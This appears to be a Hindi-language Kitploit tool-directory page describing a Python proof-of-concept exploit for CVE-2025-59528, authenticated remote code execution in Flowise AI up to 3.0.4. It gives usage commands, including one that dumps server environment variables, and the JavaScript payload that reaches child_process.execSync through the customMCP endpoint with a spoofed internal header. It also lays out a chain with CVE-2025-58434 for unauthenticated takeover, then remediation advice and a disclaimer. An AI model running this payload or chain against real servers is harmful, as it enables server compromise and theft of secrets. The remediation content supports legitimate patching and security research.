Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Flowise-RCE-CVE-2025-59528 — CVE-2025-59528 के लिए Python PoC exploit, जो customMCP endpoint और Node.js child_process.execSync के माध्यम से Flowise AI <= 3.0.4 पर authenticated RCE प्राप्त करता है। | Kitploit
उपकरण/GitHubGitHub/arensballiu/flowise-rce-cve-2025-59528
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंट
GitHubarensballiu/flowise-rce-cve-2025-59528

Flowise-RCE-CVE-2025-59528

CVE-2025-59528 के लिए Python PoC exploit, जो customMCP endpoint और Node.js child_process.execSync के माध्यम से Flowise AI <= 3.0.4 पर authenticated RCE प्राप्त करता है।

रिपॉजिटरी देखें
114घं 37मि पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-59528 — Flowise AI प्रमाणित रिमोट कोड निष्पादन (RCE)

अवलोकन

CVE ID: CVE-2025-59528
प्रभावित सॉफ़्टवेयर: Flowise AI
असुरक्षित संस्करण: <= 3.0.4
ठीक किया गया संस्करण: 3.0.5 और बाद के संस्करण
गंभीरता: गंभीर
लेखक: arensballiu
दिनांक: 2025

विवरण

Flowise AI के 3.0.4 तक के संस्करण एक प्रमाणित उपयोगकर्ता को /api/v1/node-load-method/customMCP एंडपॉइंट पर एक तैयार किया गया JavaScript पेलोड भेजकर होस्ट सर्वर पर रिमोट कोड निष्पादन (RCE) प्राप्त करने की अनुमति देते हैं।

customMCP नोड की लोड विधि उपयोगकर्ता-नियंत्रित इनपुट स्वीकार करती है जिसे सर्वर-साइड पर JavaScript के रूप में मूल्यांकित किया जाता है, बिना पर्याप्त सैनिटाइज़ेशन या सैंडबॉक्सिंग के। Node.js के child_process.execSync का उपयोग करने वाला पेलोड इंजेक्ट करके, एक हमलावर Flowise सर्वर प्रक्रिया के विशेषाधिकारों के साथ मनमाने ऑपरेटिंग सिस्टम कमांड चला सकता है।

एंडपॉइंट के लिए x-request-from: internal हेडर भी मौजूद होना आवश्यक है।

प्रभावित एंडपॉइंट

एंडपॉइंटविधिप्रमाणीकरण आवश्यकउद्देश्य
/api/v1/auth/loginPOSTनहींप्रमाणित करें और सत्र प्राप्त करें
/api/v1/node-load-method/customMCPPOSTहाँ (सत्र कुकी)असुरक्षित नोड लोड विधि एंडपॉइंट

प्रूफ ऑफ कॉन्सेप्ट

फ़ाइल: CVE-2025-59528_POC.py

आवश्यकताएँ

  • Python 3.x
  • requests लाइब्रेरी
  • लक्षित Flowise इंस्टेंस पर किसी भी उपयोगकर्ता खाते के लिए वैध क्रेडेंशियल
root@kitploit:~
pip install requests

उपयोग

root@kitploit:~
python3 CVE-2025-59528_POC.py -e <email> -i <target_url> -p <password> -c <command>

आर्गुमेंट

फ़्लैगलंबा रूपआवश्यकविवरण
-e--emailहाँप्रमाणित उपयोगकर्ता का ईमेल पता
-i--urlहाँFlowise इंस्टेंस का बेस URL
-p--passwordहाँप्रमाणित उपयोगकर्ता का पासवर्ड
-c--cmdहाँसर्वर पर निष्पादित करने के लिए OS कमांड

उदाहरण

कोड निष्पादन सत्यापित करें:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "id"

सर्वर पर्यावरण चर प्राप्त करें:

root@kitploit:~
python3 CVE-2025-59528_POC.py -e [email protected] -i https://flowise.example.com -p MyP@ss -c "env"

अपेक्षित आउटपुट

root@kitploit:~
[+] Logged in
[+] Exploit sent
[+] Status: 200

पेलोड विश्लेषण

एक्सप्लॉइट mcpServerConfig फ़ील्ड में निम्नलिखित JavaScript अभिव्यक्ति इंजेक्ट करता है:

root@kitploit:~
({x:(function(){
    const cp = process.mainModule.require('child_process');
    cp.execSync('<command>');
    return 1;
})()})
  • process.mainModule.require('child_process') — Node.js का अंतर्निहित प्रक्रिया निष्पादन मॉड्यूल लोड करता है।
  • execSync('<command>') — हमलावर द्वारा आपूर्ति किए गए OS कमांड को समकालिक रूप से चलाता है।
  • पूरी अभिव्यक्ति को एक ऑब्जेक्ट लिटरल में लपेटा गया है ताकि यह सर्वर के JavaScript संदर्भ में सफाई से मूल्यांकित हो सके।

x-request-from: internal हेडर भी अनुरोध में जोड़ा जाता है ताकि आंतरिक मूल जाँच को पार किया जा सके जो अन्यथा कॉल को अवरुद्ध कर देती।

मूल कारण

customMCP एंडपॉइंट उपयोगकर्ता-आपूर्ति इनपुट को सीधे सर्वर पर JavaScript मूल्यांकन संदर्भ में पास करता है, बिना सैनिटाइज़ेशन या सैंडबॉक्सिंग के। process.mainModule.require के माध्यम से Node.js कोर मॉड्यूल (विशेष रूप से child_process) तक अप्रतिबंधित पहुँच के साथ संयुक्त, यह एक तुच्छ रूप से शोषणीय RCE वेक्टर बनाता है। x-request-from हेडर जाँच कोई सार्थक सुरक्षा सीमा प्रदान नहीं करती क्योंकि यह किसी विश्वसनीय स्रोत के विरुद्ध मान्य नहीं है।

CVE-2025-58434 के साथ श्रृंखलाबद्ध करना

इन दोनों भेद्यताओं को <= 3.0.4 संस्करण चलाने वाले Flowise इंस्टेंस के विरुद्ध एक अप्रमाणित RCE हमला पथ के लिए श्रृंखलाबद्ध किया जा सकता है:

  1. किसी भी ज्ञात खाते का पासवर्ड रीसेट करने के लिए CVE-2025-58434 का उपयोग करें (कोई पूर्व प्रमाणीकरण आवश्यक नहीं)।
  2. नए सेट किए गए क्रेडेंशियल के साथ लॉग इन करें।
  3. सर्वर पर मनमाने OS कमांड निष्पादित करने के लिए CVE-2025-59528 का उपयोग करें।

उपचार

  • Flowise AI 3.0.5 या बाद के संस्करण में अपग्रेड करें, जो असुरक्षित मूल्यांकन पथ को हटा देता है या उचित रूप से सैंडबॉक्स करता है।
  • सर्वर-साइड संदर्भ में उपयोगकर्ता-नियंत्रित स्ट्रिंग्स को कभी भी कोड के रूप में मूल्यांकित न करें।
  • उचित सैंडबॉक्स (जैसे, vm2, पृथक संदर्भ, या process.mainModule पहुँच को हटाना) के माध्यम से खतरनाक Node.js मॉड्यूल (child_process, fs, आदि) तक पहुँच को प्रतिबंधित करें।
  • x-request-from हेडर को सरल स्ट्रिंग जाँच के बजाय सर्वर-साइड तंत्र के माध्यम से मान्य और प्रमाणित करें।
  • Flowise सर्वर प्रक्रिया पर न्यूनतम विशेषाधिकार के सिद्धांत को लागू करें।

अस्वीकरण

यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। स्पष्ट लिखित अनुमति के बिना सिस्टम के विरुद्ध इस स्क्रिप्ट का उपयोग अवैध और अनैतिक है। लेखक और योगदानकर्ता दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते।

टूल डाउनलोड करें